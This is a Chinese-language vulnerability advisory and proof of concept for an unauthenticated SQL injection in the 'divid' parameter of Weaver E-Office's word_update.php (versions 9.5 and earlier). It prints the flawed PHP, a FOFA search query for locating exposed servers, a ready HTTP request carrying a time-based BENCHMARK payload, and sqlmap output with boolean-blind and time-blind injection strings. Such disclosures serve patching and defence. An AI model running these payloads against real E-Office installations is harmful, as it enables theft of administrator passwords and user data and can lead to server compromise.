漏洞简介

泛微E-Office是一款标准化的协同 OA 办公软件，泛微协同办公产品系列成员之一,实行通用化产品设计，充分贴合企业管理需求，本着简洁易用、高效智能的原则，为企业快速打造移动化、无纸化、数字化的办公平台。泛微e-office word_update.php 接口处存在SQL注入漏洞，未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息（例如管理员后台密码、站点用户个人信息）之外，攻击者甚至可以在高权限下向服务器写入命令，进一步获取服务器系统权限。

影响版本

e-office <=9.5

fofa语句

app="泛微-EOffice"

漏洞分析

general/system/interface/loginedit/word_update.php 业务逻辑如下

<?php

include_once( "inc/conn.php" );
$id = $_REQUEST['divid'];
$wordcolor = $_REQUEST['wordcolor'];
$wordfont = $_REQUEST['wordfont'];
$content = $_REQUEST['content'];
$isshow = $_REQUEST['isshow'];
if ( $content == "" && $wordcolor )
{
    $query = "\r\n\t\tSELECT TEMPID,TAGDIV FROM index_div WHERE DIV_ID = {$id}\r\n\t\t";
    $re = exequery( $connection, $query );
    $ROW = mysql_fetch_array( $re );
    $TEMPID = $ROW['TEMPID'];

divid 被直接拼接进SQL语句后执行，无任何过滤校验，造成SQL注入漏洞。

漏洞复现

GET /general/system/interface/loginedit/word_update.php HTTP/1.1
Host: eoffice.mrxn.net:8082
Cookie: divid=1 AND 3742=BENCHMARK(4000000,MD5(0x496c624d));wordcolor=5;content=

成功在延时 4 秒

sqlmap 结果如下

sqlmap identified the following injection point(s) with a total of 239 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: divid=(SELECT (CASE WHEN (3387=3387) THEN 1 ELSE (SELECT 9058 UNION SELECT 6601) END))&wordcolor=5&content=

    Type: time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (BENCHMARK)
    Payload: divid=1 AND 3742=BENCHMARK(4000000,MD5(0x496c624d))&wordcolor=5&content=
---